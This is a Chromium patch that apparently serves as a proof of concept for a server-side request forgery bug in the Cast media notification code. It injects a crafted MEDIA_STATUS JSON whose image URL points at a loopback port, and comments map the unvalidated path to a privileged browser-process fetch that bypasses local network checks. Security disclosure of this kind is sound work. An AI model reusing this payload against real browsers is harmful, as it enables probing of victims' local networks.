diff --git a/chrome/browser/ui/global_media_controls/cast_media_notification_item.cc b/chrome/browser/ui/global_media_controls/cast_media_notification_item.cc index 7ba25cc71f88b..2c238eb5ca464 100644 --- a/chrome/browser/ui/global_media_controls/cast_media_notification_item.cc +++ b/chrome/browser/ui/global_media_controls/cast_media_notification_item.cc @@ -319,6 +319,12 @@ void CastMediaNotificationItem::ImageDownloader::OnFetchComplete( } void CastMediaNotificationItem::ImageDownloader::Download(const GURL& url) { + // ***SSRF POC***: log-only line to prove the unmodified sink is reached. + // The fetch logic below is unchanged production code. + LOG(ERROR) << "[SSRF-POC] ImageDownloader::Download() reached with url=" + << url + << " — fetching via GetURLLoaderFactoryForBrowserProcess() with " + "NO scheme/host check and NO client_security_state."; if (url == url_) { return; } diff --git a/chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc b/chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc index 8801ac34a4b04..d624cd07f07e8 100644 --- a/chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc +++ b/chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc @@ -7,6 +7,15 @@ #include #include +// ***SSRF POC INJECTION*** — extra includes +#include "base/json/json_reader.h" +#include "base/logging.h" +#include "base/task/sequenced_task_runner.h" +#include "chrome/browser/media/router/providers/cast/cast_media_controller.h" +#include "components/media_router/common/media_route.h" +#include "components/media_router/common/media_source.h" +// ***END POC INCLUDES*** + #include "chrome/browser/feature_engagement/tracker_factory.h" #include "chrome/browser/media/router/media_router_feature.h" #include "chrome/browser/profiles/profile.h" @@ -85,7 +94,121 @@ CastMediaNotificationProducer::CastMediaNotificationProducer( profile_(profile), router_(router), item_manager_(item_manager), - item_ui_observer_set_(this) {} + item_ui_observer_set_(this) { + // ***SSRF POC INJECTION*** + // Schedule the simulated MEDIA_STATUS injection a few seconds after the + // browser window is up so the network service is ready. + base::SequencedTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce(&CastMediaNotificationProducer::InjectSSRFPoc, + base::Unretained(this)), + base::Seconds(3)); +} + +// ***SSRF POC INJECTION*** +// +// This simulates the *exact* point in the data flow where a malicious +// MEDIA_STATUS payload from a Cast receiver app would be handed to +// CastMediaController::SetMediaStatus(). In production this dict is the +// decoded body of a urn:x-cast:com.google.cast.media message read from a +// CastSocket (cast_message_handler.cc -> cast_session_tracker.cc -> +// cast_activity_manager.cc -> app_activity.cc -> here). Everything below this +// point is unmodified production code. +// +// Demonstrates: +// 1. cast_media_controller.cc:238-254 — accepts arbitrary URL string with +// ZERO validation (no is_valid(), no SchemeIsHTTPOrHTTPS(), no host pin). +// 2. cast_media_notification_item.cc:254-258 — auto-fetches the URL. +// 3. cast_media_notification_item.cc:306-307 — uses the privileged +// GetURLLoaderFactoryForBrowserProcess() (no client_security_state ⇒ +// Local Network Access bypass per local_network_access_checker.cc:121). +void CastMediaNotificationProducer::InjectSSRFPoc() { + static bool fired = false; + if (fired) { + return; + } + fired = true; + + LOG(ERROR) << "[SSRF-POC] CastMediaNotificationProducer is constructed in " + "the BROWSER PROCESS — injecting simulated Cast MEDIA_STATUS"; + + // Step A: stand in for "victim clicked Cast and a route was created". + // In a real attack, CastMediaNotificationProducer::OnRoutesUpdated() creates + // exactly this object when the Chromecast launches the attacker's receiver + // app. We create it directly so we own the observer pipe. + media_router::MediaRoute route( + "poc-ssrf-route", + media_router::MediaSource(std::string("poc-ssrf-source")), + "poc-sink-id", "Malicious Cast Receiver App", /*is_local=*/true); + route.set_media_sink_name("Victim's Chromecast"); + + mojo::Remote controller_remote; + mojo::PendingReceiver + controller_receiver = controller_remote.BindNewPipeAndPassReceiver(); + auto it = items_.emplace( + std::piecewise_construct, + std::forward_as_tuple(route.media_route_id()), + std::forward_as_tuple(route, item_manager_, + std::make_unique( + std::move(controller_remote)), + profile_)); + + // Step B: wire the item's MediaStatusObserver to a real CastMediaController. + // (AppActivity is null because we never send commands BACK to the device — + // CastMediaController::SetMediaStatus does not touch activity_.) + poc_controller_ = + std::make_unique(nullptr); + poc_controller_->AddMediaController( + std::move(controller_receiver), + it.first->second.GetObserverPendingRemote()); + + // Step C: this is the EXACT JSON dict a malicious Cast receiver app sends + // over the CastSocket on namespace urn:x-cast:com.google.cast.media. The + // images[0].url field is fully attacker-controlled by the receiver HTML5 + // page (cast.framework PlayerManager → mediaInformation.metadata.images). + static constexpr char kAttackerMediaStatus[] = R"({ + "type": "MEDIA_STATUS", + "requestId": 0, + "status": [{ + "mediaSessionId": 1, + "playerState": "PLAYING", + "currentTime": 0, + "supportedMediaCommands": ["pause", "seek"], + "media": { + "contentId": "https://evil.example/stream.mp4", + "duration": 100, + "metadata": { + "metadataType": 0, + "title": "SSRF POC", + "subtitle": "browser-process loopback fetch", + "images": [ + {"url": "http://127.0.0.1:47713/SSRF-PROBE-FROM-CAST-MEDIA-STATUS"} + ] + } + } + }] + })"; + + std::optional v = + base::JSONReader::Read(kAttackerMediaStatus, base::JSON_PARSE_RFC); + CHECK(v && v->is_dict()); + + LOG(ERROR) << "[SSRF-POC] Handing attacker JSON to " + "CastMediaController::SetMediaStatus() — vulnerable parser at " + "cast_media_controller.cc:238-254 performs NO URL validation"; + + // Step D: enter unmodified vulnerable code. SetMediaStatus parses the dict, + // builds media_status_.images[0].url = GURL("http://127.0.0.1:47713/...") + // with zero filtering, then notifies the CastMediaNotificationItem over + // Mojo, which calls ImageDownloader::Download() → + // BitmapFetcher(GetURLLoaderFactoryForBrowserProcess()) → loopback GET. + poc_controller_->SetMediaStatus(v->GetDict()); + + LOG(ERROR) << "[SSRF-POC] MEDIA_STATUS dispatched. If the browser process " + "issues a GET to http://127.0.0.1:47713/" + "SSRF-PROBE-FROM-CAST-MEDIA-STATUS, the SSRF + LNA bypass is " + "confirmed."; +} CastMediaNotificationProducer::~CastMediaNotificationProducer() = default; diff --git a/chrome/browser/ui/global_media_controls/cast_media_notification_producer.h b/chrome/browser/ui/global_media_controls/cast_media_notification_producer.h index b72bac134b09f..8bbf167f8223f 100644 --- a/chrome/browser/ui/global_media_controls/cast_media_notification_producer.h +++ b/chrome/browser/ui/global_media_controls/cast_media_notification_producer.h @@ -22,6 +22,10 @@ namespace global_media_controls { class MediaItemManager; } // namespace global_media_controls +namespace media_router { +class CastMediaController; +} // namespace media_router + class Profile; // Manages media notifications shown in the Global Media Controls dialog for @@ -68,6 +72,13 @@ class CastMediaNotificationProducer bool HasActiveItems() const; + // ***SSRF POC INJECTION*** — see chromium-changes.patch. + // Simulates a Cast receiver sending a MEDIA_STATUS message with an + // attacker-controlled image URL pointing at 127.0.0.1. In a real attack the + // JSON arrives over a CastSocket from a $5 receiver app; we inject it here + // because no Cast hardware is present in the test environment. + void InjectSSRFPoc(); + const raw_ptr profile_; const raw_ptr router_; const raw_ptr item_manager_; @@ -76,6 +87,9 @@ class CastMediaNotificationProducer Items items_; global_media_controls::MediaItemUIObserverSet item_ui_observer_set_; + + // ***SSRF POC INJECTION*** + std::unique_ptr poc_controller_; }; #endif // CHROME_BROWSER_UI_GLOBAL_MEDIA_CONTROLS_CAST_MEDIA_NOTIFICATION_PRODUCER_H_